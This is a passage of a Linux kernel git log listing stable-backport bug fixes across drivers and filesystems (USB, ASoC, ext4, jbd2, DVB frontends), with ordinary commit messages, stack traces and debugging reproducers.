Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eed25165da52460bc2c583aebf08bf084886fcf0 Author: Alex Deucher Date: Fri May 15 11:48:52 2015 -0400 drm/radeon: take the mode_config mutex when dealing with hpds (v2) commit 39fa10f7e21574a70cecf1fed0f9b36535aa68a0 upstream. Since we are messing with state in the worker. v2: drop the changes in the mst worker Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6716ed9d21b267c488508b5b825c026358adbd6 Author: Frediano Ziglio Date: Wed Jun 3 12:09:09 2015 +0100 drm/qxl: Do not cause spice-server to clean our objects commit 2fa19535ca6abcbfd1ccc9ef694db52f49f77747 upstream. If objects are moved back from system memory to VRAM (and spice id created again) memory is already initialized so we need to set flag to not clear memory. If you don't do it after a while using desktop many images turns to black or transparents. Signed-off-by: Frediano Ziglio Reviewed-by: Dave Airlie Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8e4b763c05d92f7d777ac567e52a98bed66b6aa4 Author: Tomas Winkler Date: Thu Jul 16 15:50:45 2015 +0200 mmc: block: Add missing mmc_blk_put() in power_ro_lock_show() commit 9098f84cced870f54d8c410dd2444cfa61467fa0 upstream. Enclosing mmc_blk_put() is missing in power_ro_lock_show() sysfs handler, let's add it. Fixes: add710eaa886 ("mmc: boot partition ro lock support") Signed-off-by: Tomas Winkler Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f16bdeba46846fd59d49bb504b167b6195c921b8 Author: Joe Thornber Date: Fri Jul 3 14:51:32 2015 +0100 dm btree: silence lockdep lock inversion in dm_btree_del() commit 1c7518794a3647eb345d59ee52844e8a40405198 upstream. Allocate memory using GFP_NOIO when deleting a btree. dm_btree_del() can be called via an ioctl and we don't want to recurse into the FS or block layer. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b8befd270783b2b6754d36a7dcd67bbed446043d Author: Dennis Yang Date: Fri Jun 26 15:25:48 2015 +0100 dm btree remove: fix bug in redistribute3 commit 4c7e309340ff85072e96f529582d159002c36734 upstream. redistribute3() shares entries out across 3 nodes. Some entries were being moved the wrong way, breaking the ordering. This manifested as a BUG() in dm-btree-remove.c:shift() when entries were removed from the btree. For additional context see: https://www.redhat.com/archives/dm-devel/2015-May/msg00113.html Signed-off-by: Dennis Yang Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99a9f3c1979dffb213431b9fab74d0da376f977b Author: AMAN DEEP Date: Tue Jul 21 17:20:27 2015 +0300 usb: xhci: Bugfix for NULL pointer deference in xhci_endpoint_init() function commit 3496810663922617d4b706ef2780c279252ddd6a upstream. virt_dev->num_cached_rings counts on freed ring and is not updated correctly. In xhci_free_or_cache_endpoint_ring() function, the free ring is added into cache and then num_rings_cache is incremented as below: virt_dev->ring_cache[rings_cached] = virt_dev->eps[ep_index].ring; virt_dev->num_rings_cached++; here, free ring pointer is added to a current index and then index is incremented. So current index always points to empty location in the ring cache. For getting available free ring, current index should be decremented first and then corresponding ring buffer value should be taken from ring cache. But In function xhci_endpoint_init(), the num_rings_cached index is accessed before decrement. virt_dev->eps[ep_index].new_ring = virt_dev->ring_cache[virt_dev->num_rings_cached]; virt_dev->ring_cache[virt_dev->num_rings_cached] = NULL; virt_dev->num_rings_cached--; This is bug in manipulating the index of ring cache. And it should be as below: virt_dev->num_rings_cached--; virt_dev->eps[ep_index].new_ring = virt_dev->ring_cache[virt_dev->num_rings_cached]; virt_dev->ring_cache[virt_dev->num_rings_cached] = NULL; Signed-off-by: Aman Deep Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 704f73debc80b4eb27d30d1d624c9c4b05396d34 Author: Claudio Cappelli Date: Wed Jun 10 20:38:30 2015 +0200 USB: option: add 2020:4000 ID commit f6d7fb37f92622479ef6da604f27561f5045ba1e upstream. Add device Olivetti Olicard 300 (Network Connect: MT6225) - IDs 2020:4000. T: Bus=01 Lev=02 Prnt=04 Port=00 Cnt=01 Dev#= 10 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=ef(misc ) Sub=02 Prot=01 MxPS=64 #Cfgs= 1 P: Vendor=2020 ProdID=4000 Rev=03.00 S: Manufacturer=Network Connect S: Product=MT6225 C: #Ifs= 7 Cfg#= 1 Atr=a0 MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 1 Cls=02(commc) Sub=0e Prot=00 Driver=cdc_mbim I: If#= 1 Alt= 1 #EPs= 2 Cls=0a(data ) Sub=00 Prot=02 Driver=cdc_mbim I: If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=02 Prot=01 Driver=option I: If#= 3 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 4 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 5 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I: If#= 6 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Signed-off-by: Claudio Cappelli Suggested-by: Lars Melin [johan: amend commit message with devices info ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 887b2fc38eae049b1f6f29ca58a80c888b95a3d2 Author: Peter Sanford Date: Thu Jun 25 17:40:05 2015 -0700 USB: cp210x: add ID for Aruba Networks controllers commit f98a7aa81eeeadcad25665c3501c236d531d4382 upstream. Add the USB serial console device ID for Aruba Networks 7xxx series controllers which have a USB port for their serial console. Signed-off-by: Peter Sanford Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3ebf43327ccc023cfac7779c7a9a6a8991a51907 Author: Dan Carpenter Date: Mon May 18 15:29:51 2015 +0300 USB: devio: fix a condition in async_completed() commit 83ed07c5db71bc02bd646d6eb60b48908235cdf9 upstream. Static checkers complain that the current condition is never true. It seems pretty likely that it's a typo and "URB" was intended instead of "USB". Fixes: 3d97ff63f899 ('usbdevfs: Use scatter-gather lists for large bulk transfers') Signed-off-by: Dan Carpenter Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c8bdce8fc64a81939f9964f33c068a14f7ce45c6 Author: John Youn Date: Mon Sep 17 00:00:00 2001 -0700 usb: dwc3: Reset the transfer resource index on SET_INTERFACE commit aebda618718157a69c0dc0adb978d69bc2b8723c upstream. This fixes an issue introduced in commit b23c843992b6 (usb: dwc3: gadget: fix DEPSTARTCFG for non-EP0 EPs) that made sure we would only use DEPSTARTCFG once per SetConfig. The trick is that we should use one DEPSTARTCFG per SetConfig *OR* SetInterface. SetInterface was completely missed from the original patch. This problem became aparent after commit 76e838c9f776 (usb: dwc3: gadget: return error if command sent to DEPCMD register fails) added checking of the return status of device endpoint commands. 'Set Endpoint Transfer Resource' command was caught failing occasionally. This is because the Transfer Resource Index was not getting reset during a SET_INTERFACE request. Finally, to fix the issue, was we have to do is make sure that our start_config_issued flag gets reset whenever we receive a SetInterface request. To verify the problem (and its fix), all we have to do is run test 9 from testusb with 'testusb -t 9 -s 2048 -a -c 5000'. Tested-by: Huang Rui Tested-by: Subbaraya Sundeep Bhatta Fixes: b23c843992b6 (usb: dwc3: gadget: fix DEPSTARTCFG for non-EP0 EPs) Signed-off-by: John Youn Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de65d45e57c1849c33b78ce1ee1ac75694c57a98 Author: Subbaraya Sundeep Bhatta Date: Thu May 21 15:46:48 2015 +0530 usb: dwc3: gadget: return error if command sent to DEPCMD register fails commit 76e838c9f7765f9a6205b4d558d75a66104bc60d upstream. We need to return error to caller if command is not sent to controller succesfully. Signed-off-by: Subbaraya Sundeep Bhatta Fixes: 72246da40f37 (usb: Introduce DesignWare USB3 DRD Driver) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52ba42707a3783921b5c24eaf9567d84414c513c Author: Subbaraya Sundeep Bhatta Date: Thu May 21 15:46:47 2015 +0530 usb: dwc3: gadget: return error if command sent to DGCMD register fails commit 891b1dc022955d36cf4c0f42d383226a930db7ed upstream. We need to return error to caller if command is not sent to controller succesfully. Signed-off-by: Subbaraya Sundeep Bhatta Fixes: b09bb64239c8 (usb: dwc3: gadget: implement Global Command support) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b701792a96dd84d16949ab50cb72f496c3d91217 Author: Mikulas Patocka Date: Wed Jul 8 13:06:12 2015 -0400 libata: increase the timeout when setting transfer mode commit d531be2ca2f27cca5f041b6a140504999144a617 upstream. I have a ST4000DM000 disk. If Linux is booted while the disk is spun down, the command that sets transfer mode causes the disk to spin up. The spin-up takes longer than the default 5s timeout, so the command fails and timeout is reported. Fix this by increasing the timeout to 15s, which is enough for the disk to spin up. Signed-off-by: Mikulas Patocka Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89e695db40a0e10c22b4922cabf272b6a22be208 Author: Aleksei Mamlin Date: Wed Jul 1 13:48:30 2015 +0300 libata: add ATA_HORKAGE_BROKEN_FPDMA_AA quirk for HP 250GB SATA disk VB0250EAVER commit 08c85d2a599d967ede38a847f5594447b6100642 upstream. Enabling AA on HP 250GB SATA disk VB0250EAVER causes errors: [ 3.788362] ata3.00: failed to enable AA (error_mask=0x1) [ 3.789243] ata3.00: failed to enable AA (error_mask=0x1) Add the ATA_HORKAGE_BROKEN_FPDMA_AA for this specific harddisk. tj: Collected FPDMA_AA entries and updated comment. Signed-off-by: Aleksei Mamlin Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1733f584e7c7b8623be24c8dc4c0a928c0b13e11 Author: Zidan Wang Date: Thu Jun 11 19:14:36 2015 +0800 ASoC: wm8960: the enum of "DAC Polarity" should be wm8960_enum[1] commit a077e81ec61e07a7f86997d045109f06719fbffe upstream. the enum of "DAC Polarity" should be wm8960_enum[1]. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d04aa5b7d677073f81b6c026c9709cdd35a65db Author: Axel Lin Date: Mon May 11 09:04:06 2015 +0800 ASoC: wm8903: Fix define for WM8903_VMID_RES_250K commit ebb6ad73e645b8f2d098dd3c41d2ff0da4146a02 upstream. VMID Control 0 BIT[2:1] is VMID Divider Enable and Select 00 = VMID disabled (for OFF mode) 01 = 2 x 50kΩ divider (for normal operation) 10 = 2 x 250kΩ divider (for low power standby) 11 = 2 x 5kΩ divider (for fast start-up) So WM8903_VMID_RES_250K should be 2 << 1, which is 4. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2206f1a4a7b4a66399c26f5f42366026c59cd4cc Author: Axel Lin Date: Fri May 15 09:15:16 2015 +0800 ASoC: wm8955: Fix setting wrong register for WM8955_K_8_0_MASK bits commit 12c350050538c7dc779c083b7342bfd20f74949c upstream. WM8955_K_8_0_MASK bits is controlled by WM8955_PLL_CONTROL_3 rather than WM8955_PLL_CONTROL_2. Signed-off-by: Axel Lin Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e675f05ca0edd38bae2d9c003b6a8bd05b0366f1 Author: Axel Lin Date: Sun May 10 11:35:06 2015 +0800 ASoC: wm8737: Fixup setting VMID Impedance control register commit 14ba3ec1de043260cecd9e828ea2e3a0ad302893 upstream. According to the datasheet: R10 (0Ah) VMID Impedance Control BIT 3:2 VMIDSEL DEFAULT 00 DESCRIPTION: VMID impedance selection control 00: 75kΩ output 01: 300kΩ output 10: 2.5kΩ output WM8737_VMIDSEL_MASK is 0xC (VMIDSEL - [3:2]), so it needs to left shift WM8737_VMIDSEL_SHIFT bits for setting these bits. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba96f52ff906e86a6b0cda5ce4cbdbe69885dcd8 Author: Mauro Carvalho Chehab Date: Tue Apr 28 18:51:17 2015 -0300 cx24116: fix a buffer overflow when checking userspace params commit 1fa2337a315a2448c5434f41e00d56b01a22283c upstream. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up much more values: drivers/media/dvb-frontends/cx24116.c:983 cx24116_send_diseqc_msg() error: buffer overflow 'd->msg' 6 <= 23 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd967cb529ccb205601179f671ba47bb2f0b1e7d Author: Mauro Carvalho Chehab Date: Tue Apr 28 18:34:40 2015 -0300 s5h1420: fix a buffer overflow when checking userspace params commit 12f4543f5d6811f864e6c4952eb27253c7466c02 upstream. The maximum size for a DiSEqC command is 6, according to the userspace API. However, the code allows to write up to 7 values: drivers/media/dvb-frontends/s5h1420.c:193 s5h1420_send_master_cmd() error: buffer overflow 'cmd->msg' 6 <= 7 Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f866be46565b6efb17e06aef42f88ca40eaa67a Author: Mauro Carvalho Chehab Date: Tue Apr 28 19:02:19 2015 -0300 af9013: Don't accept invalid bandwidth commit d7b76c91f471413de9ded837bddeca2164786571 upstream. If userspace sends an invalid bandwidth, it should either return EINVAL or switch to auto mode. This driver will go past an array and program the hardware on a wrong way if this happens. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df91ce6028e3b7c79d06118869d1e4f8d6c8b12c Author: JM Friedt Date: Fri Jun 19 14:48:06 2015 +0200 iio: DAC: ad5624r_spi: fix bit shift of output data value commit adfa969850ae93beca57f7527f0e4dc10cbe1309 upstream. The value sent on the SPI bus is shifted by an erroneous number of bits. The shift value was already computed in the iio_chan_spec structure and hence subtracting this argument to 16 yields an erroneous data position in the SPI stream. Signed-off-by: JM Friedt Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 874c7266e9256f69548509d192245763c1edf68e Author: Cyrille Pitchen Date: Tue Jun 9 18:22:14 2015 +0200 i2c: at91: fix a race condition when using the DMA controller commit 93563a6a71bb69dd324fc7354c60fb05f84aae6b upstream. For TX transactions, the TXCOMP bit in the Status Register is cleared when the first data is written into the Transmit Holding Register. In the lines from at91_do_twi_transfer(): at91_twi_write_data_dma(dev); at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_TXCOMP); the TXCOMP interrupt may be enabled before the DMA controller has actually started to write into the THR. In such a case, the TXCOMP bit is still set into the Status Register so the interrupt is triggered immediately. The driver understands that a transaction completion has occurred but this transaction hasn't started yet. Hence the TXCOMP interrupt is no longer enabled by at91_do_twi_transfer() but instead by at91_twi_write_data_dma_callback(). Also, the TXCOMP bit in the Status Register in not a clear on read flag but a snapshot of the transmission state at the time the Status Register is read. When a NACK error is dectected by the I2C controller, the TXCOMP, NACK and TXRDY bits are set together to 1 in the SR. If enabled, the TXCOMP interrupt is triggered at the same time. Also setting the TXRDY to 1 triggers the DMA controller to write the next data into the THR. Such a write resets the TXCOMP bit to 0 in the SR. So depending on when the interrupt handler reads the SR, it may fail to detect the NACK error if it relies on the TXCOMP bit. The NACK bit and its interrupt should be used instead. For RX transactions, the TXCOMP bit in the Status Register is cleared when the START bit is set into the Control Register. However to unify the management of the TXCOMP bit when the DMA controller is used, the TXCOMP interrupt is now enabled by the DMA callbacks for both TX and RX transfers. Signed-off-by: Cyrille Pitchen Acked-by: Ludovic Desroches Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76602c03edcf759d42f2626ad7e594548511f474 Author: Joseph Qi Date: Mon Jun 15 14:36:01 2015 -0400 jbd2: fix ocfs2 corrupt when updating journal superblock fails commit 6f6a6fda294506dfe0e3e0a253bb2d2923f28f0a upstream. If updating journal superblock fails after journal data has been flushed, the error is omitted and this will mislead the caller as a normal case. In ocfs2, the checkpoint will be treated successfully and the other node can get the lock to update. Since the sb_start is still pointing to the old log block, it will rewrite the journal data during journal recovery by the other node. Thus the new updates will be overwritten and ocfs2 corrupts. So in above case we have to return the error, and ocfs2_commit_cache will take care of the error and prevent the other node to do update first. And only after recovering journal it can do the new updates. The issue discussion mail can be found at: https://oss.oracle.com/pipermail/ocfs2-devel/2015-June/010856.html http://comments.gmane.org/gmane.comp.file-systems.ext4/48841 [ Fixed bug in patch which allowed a non-negative error return from jbd2_cleanup_journal_tail() to leak out of jbd2_fjournal_flush(); this was causing xfstests ext4/306 to fail. -- Ted ] Reported-by: Yiwen Jiang Signed-off-by: Joseph Qi Signed-off-by: Theodore Ts'o Tested-by: Yiwen Jiang Cc: Junxiao Bi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 370692fda24fc4552471bf873d442def4970a31f Author: Dmitry Monakhov Date: Mon Jun 15 00:18:02 2015 -0400 jbd2: use GFP_NOFS in jbd2_cleanup_journal_tail() commit b4f1afcd068f6e533230dfed00782cd8a907f96b upstream. jbd2_cleanup_journal_tail() can be invoked by jbd2__journal_start() So allocations should be done with GFP_NOFS [Full stack trace snipped from 3.10-rh7] [] dump_stack+0x19/0x1b [] warn_slowpath_common+0x61/0x80 [] warn_slowpath_null+0x1a/0x20 [] slab_pre_alloc_hook.isra.31.part.32+0x15/0x17 [] kmem_cache_alloc+0x55/0x210 [] ? mempool_alloc_slab+0x15/0x20 [] mempool_alloc_slab+0x15/0x20 [] mempool_alloc+0x69/0x170 [] ? _raw_spin_unlock_irq+0xe/0x20 [] ? finish_task_switch+0x5d/0x150 [] bio_alloc_bioset+0x1be/0x2e0 [] blkdev_issue_flush+0x99/0x120 [] jbd2_cleanup_journal_tail+0x93/0xa0 [jbd2] -->GFP_KERNEL [] jbd2_log_do_checkpoint+0x221/0x4a0 [jbd2] [] __jbd2_log_wait_for_space+0xa7/0x1e0 [jbd2] [] start_this_handle+0x2d8/0x550 [jbd2] [] ? __memcg_kmem_put_cache+0x29/0x30 [] ? kmem_cache_alloc+0x130/0x210 [] jbd2__journal_start+0xba/0x190 [jbd2] [] ? lru_cache_add+0xe/0x10 [] ? ext4_da_write_begin+0xf9/0x330 [ext4] [] __ext4_journal_start_sb+0x77/0x160 [ext4] [] ext4_da_write_begin+0xf9/0x330 [ext4] [] generic_file_buffered_write_iter+0x10c/0x270 [] __generic_file_write_iter+0x178/0x390 [] __generic_file_aio_write+0x8b/0xb0 [] generic_file_aio_write+0x5d/0xc0 [] ext4_file_write+0xa9/0x450 [ext4] [] ? pipe_read+0x379/0x4f0 [] do_sync_write+0x90/0xe0 [] vfs_write+0xbd/0x1e0 [] SyS_write+0x58/0xb0 [] system_call_fastpath+0x16/0x1b Signed-off-by: Dmitry Monakhov Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit de0cff1d21a9979a3673b40cd0dc3a23dcf8f415 Author: Michal Hocko Date: Sun Jul 5 12:33:44 2015 -0400 ext4: replace open coded nofail allocation in ext4_free_blocks() commit 7444a072c387a93ebee7066e8aee776954ab0e41 upstream. ext4_free_blocks is looping around the allocation request and mimics __GFP_NOFAIL behavior without any allocation fallback strategy. Let's remove the open coded loop and replace it with __GFP_NOFAIL. Without the flag the allocator has no way to find out never-fail requirement and cannot help in any way. Signed-off-by: Michal Hocko Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4101a960778c923c078973bcb7becbe95c1a8bc1 Author: Eryu Guan Date: Sat Jul 4 00:03:44 2015 -0400 ext4: correctly migrate a file with a hole at the beginning commit 8974fec7d72e3e02752fe0f27b4c3719c78d9a15 upstream. Currently ext4_ind_migrate() doesn't correctly handle a file which contains a hole at the beginning of the file. This caused the migration to be done incorrectly, and then if there is a subsequent following delayed allocation write to the "hole", this would reclaim the same data blocks again and results in fs corruption. # assmuing 4k block size ext4, with delalloc enabled # skip the first block and write to the second block xfs_io -fc "pwrite 4k 4k" -c "fsync" /mnt/ext4/testfile # converting to indirect-mapped file, which would move the data blocks # to the beginning of the file, but extent status cache still marks # that region as a hole chattr -e /mnt/ext4/testfile # delayed allocation writes to the "hole", reclaim the same data block # again, results in i_blocks corruption xfs_io -c "pwrite 0 4k" /mnt/ext4/testfile umount /mnt/ext4 e2fsck -nf /dev/sda6 ... Inode 53, i_blocks is 16, should be 8. Fix? no ... Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c9aab4432939b3995def9d564e57c16e7c440b40 Author: Eryu Guan Date: Fri Jul 3 23:56:50 2015 -0400 ext4: be more strict when migrating to non-extent based file commit d6f123a9297496ad0b6335fe881504c4b5b2a5e5 upstream. Currently the check in ext4_ind_migrate() is not enough before doing the real conversion: a) delayed allocated extents could bypass the check on eh->eh_entries and eh->eh_depth This can be demonstrated by this script xfs_io -fc "pwrite 0 4k" -c "pwrite 8k 4k" /mnt/ext4/testfile chattr -e /mnt/ext4/testfile where testfile has two extents but still be converted to non-extent based file format. b) only extent length is checked but not the offset, which would result in data lose (delalloc) or fs corruption (nodelalloc), because non-extent based file only supports at most (12 + 2^10 + 2^20 + 2^30) blocks This can be demostrated by xfs_io -fc "pwrite 5T 4k" /mnt/ext4/testfile chattr -e /mnt/ext4/testfile sync If delalloc is enabled, dmesg prints EXT4-fs warning (device dm-4): ext4_block_to_path:105: block 1342177280 > max in inode 53 EXT4-fs (dm-4): Delayed block allocation failed for inode 53 at logical offset 1342177280 with max blocks 1 with error 5 EXT4-fs (dm-4): This should not happen!! Data will be lost If delalloc is disabled, e2fsck -nf shows corruption Inode 53, i_size is 5497558142976, should be 4096. Fix? no Fix the two issues by a) forcing all delayed allocation blocks to be allocated before checking eh->eh_depth and eh->eh_entries b) limiting the last logical block of the extent is within direct map Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1698da1ed71f3fb141cf0f8cb7ff0857d5635a91 Author: Lukas Czerner Date: Fri Jul 3 21:13:55 2015 -0400 ext4: fix reservation release on invalidatepage for delalloc fs commit 9705acd63b125dee8b15c705216d7186daea4625 upstream. On delalloc enabled file system on invalidatepage operation in ext4_da_page_release_reservation() we want to clear the delayed buffer and remove the extent covering the delayed buffer from the extent status tree. However currently there is a bug where on the systems with page size > block size we will always remove extents from the start of the page regardless where the actual delayed buffers are positioned in the page. This leads to the errors like this: EXT4-fs warning (device loop0): ext4_da_release_space:1225: ext4_da_release_space: ino 13, to_free 1 with only 0 reserved data blocks This however can cause data loss on writeback time if the file system is in ENOSPC condition because we're releasing reservation for someones else delayed buffer. Fix this by only removing extents that corresponds to the part of the page we want to invalidate. This problem is reproducible by the following fio receipt (however I was only able to reproduce it with fio-2.1 or older. [global] bs=8k iodepth=1024 iodepth_batch=60 randrepeat=1 size=1m directory=/mnt/test numjobs=20 [job1] ioengine=sync bs=1k direct=1 rw=randread filename=file1:file2 [job2] ioengine=libaio rw=randwrite direct=1 filename=file1:file2 [job3] bs=1k ioengine=posixaio rw=randwrite direct=1 filename=file1:file2 [job5] bs=1k ioengine=sync rw=randread filename=file1:file2 [job7] ioengine=libaio rw=randwrite filename=file1:file2 [job8] ioengine=posixaio rw=randwrite filename=file1:file2 [job10] ioengine=mmap rw=randwrite bs=1k filename=file1:file2 [job11] ioengine=mmap rw=randwrite direct=1 filename=file1:file2 Signed-off-by: Lukas Czerner Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e82c6de0a19d8bf8bf99fcf71aea5e377c621362 Author: Darrick J. Wong Date: Sun Jun 21 21:10:51 2015 -0400 ext4: don't retry file block mapping on bigalloc fs with non-extent file commit 292db1bc6c105d86111e858859456bcb11f90f91 upstream. ext4 isn't willing to map clusters to a non-extent file. Don't signal this with an out of space error, since the FS will retry the allocation (which didn't fail) forever. Instead, return EUCLEAN so that the operation will fail immediately all the way back to userspace. (The fix is either to run e2fsck -E bmap2extent, or to chattr +e the file.) Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a74bb660b04d4198613b2092aee7ea68503f3d9 Author: Theodore Ts'o Date: Sat Jun 20 22:50:33 2015 -0400 ext4: call sync_blockdev() before invalidate_bdev() in put_super() commit 89d96a6f8e6491f24fc8f99fd6ae66820e85c6c1 upstream. Normally all of the buffers will have been forced out to disk before we call invalidate_bdev(), but there will be some cases, where a file system operation was aborted due to an ext4_error(), where there may still be some dirty buffers in the buffer cache for the device. So try to force them out to memory before calling invalidate_bdev(). This fixes a warning triggered by generic/081: WARNING: CPU: 1 PID: 3473 at /usr/projects/linux/ext4/fs/block_dev.c:56 __blkdev_put+0xb5/0x16f() Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2831cba71772a1dce09fea9d9afdef19e9a3bf88 Author: Theodore Ts'o Date: Fri Jun 12 23:45:33 2015 -0400 ext4: fix race between truncate and __ext4_journalled_writepage() commit bdf96838aea6a265f2ae6cbcfb12a778c84a0b8e upstream. The commit cf108bca465d: "ext4: Invert the locking order of page_lock and transaction start" caused __ext4_journalled_writepage() to drop the page lock before the page was written back, as part of changing the locking order to jbd2_journal_start -> page_lock. However, this introduced a potential race if there was a truncate racing with the data=journalled writeback mode. Fix this by grabbing the page lock after starting the journal handle, and then checking to see if page had gotten truncated out from under us. This fixes a number of different warnings or BUG_ON's when running xfstests generic/086 in data=journalled mode, including: jbd2_journal_dirty_metadata: vdc-8: bad jh for block 115643: transaction (ee3fe7 c0, 164), jh->b_transaction ( (null), 0), jh->b_next_transaction ( (null), 0), jlist 0 - and - kernel BUG at /usr/projects/linux/ext4/fs/jbd2/transaction.c:2200! ... Call Trace: [] ? __ext4_journalled_invalidatepage+0x117/0x117 [] __ext4_journalled_invalidatepage+0x10f/0x117 [] ? __ext4_journalled_invalidatepage+0x117/0x117 [] ? lock_buffer+0x36/0x36 [] ext4_journalled_invalidatepage+0xd/0x22 [] do_invalidatepage+0x22/0x26 [] truncate_inode_page+0x5b/0x85 [] truncate_inode_pages_range+0x156/0x38c [] truncate_inode_pages+0x11/0x15 [] truncate_pagecache+0x55/0x71 [] ext4_setattr+0x4a9/0x560 [] ? current_kernel_time+0x10/0x44 [] notify_change+0x1c7/0x2be [] do_truncate+0x65/0x85 [] ? file_ra_state_init+0x12/0x29 - and - WARNING: CPU: 1 PID: 1331 at /usr/projects/linux/ext4/fs/jbd2/transaction.c:1396 irty_metadata+0x14a/0x1ae() ... Call Trace: [] ? console_unlock+0x3a1/0x3ce [] dump_stack+0x48/0x60 [] warn_slowpath_common+0x89/0xa0 [] ? jbd2_journal_dirty_metadata+0x14a/0x1ae [] warn_slowpath_null+0x14/0x18 [] jbd2_journal_dirty_metadata+0x14a/0x1ae [] __ext4_handle_dirty_metadata+0xd4/0x19d [] write_end_fn+0x40/0x53 [] ext4_walk_page_buffers+0x4e/0x6a [] ext4_writepage+0x354/0x3b8 [] ? mpage_release_unused_pages+0xd4/0xd4 [] ? wait_on_buffer+0x2c/0x2c [] ? ext4_writepage+0x3b8/0x3b8 [] __writepage+0x10/0x2e [] write_cache_pages+0x22d/0x32c [] ? ext4_writepage+0x3b8/0x3b8 [] ext4_writepages+0x102/0x607 [] ? sched_clock_local+0x10/0x10e [] ? __lock_is_held+0x2e/0x44 [] ? lock_is_held+0x43/0x51 [] do_writepages+0x1c/0x29 [] __writeback_single_inode+0xc3/0x545 [] writeback_sb_inodes+0x21f/0x36d ... Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit daa8482cd27aaf71919cac67b537ff757c0d0dc0 Author: Haggai Eran Date: Sat May 23 23:13:51 2015 +0300 staging: rtl8712: prevent buffer overrun in recvbuf2recvframe commit cab462140f8a183e3cca0b51c8b59ef715cb6148 upstream. With an RTL8191SU USB adaptor, sometimes the hints for a fragmented packet are set, but the packet length is too large. Allocate enough space to prevent memory corruption and a resulting kernel panic [1]. [1] http://www.spinics.net/lists/linux-wireless/msg136546.html Signed-off-by: Haggai Eran ACKed-by: Larry Finger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e62e3d4b446711d1e3cc8aa927707a9f212832a8 Author: Felix Fietkau Date: Tue Jun 2 10:38:32 2015 +0200 ath9k: fix DMA stop sequence for AR9003+ commit 300f77c08ded96d33f492aaa02549103852f0c12 upstream. AR93xx and newer needs to stop rx before tx to avoid getting the DMA engine or MAC into a stuck state. This should reduce/fix the occurence of "Failed to stop Tx DMA" logspam. Signed-off-by: Felix Fietkau Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e962658630e0ae8186b3647351eefa2e0bbbfc7 Author: Marcel Holtmann Date: Sun Jun 7 09:42:19 2015 +0200 Bluetooth: btusb: Fix memory leak in Intel setup routine commit 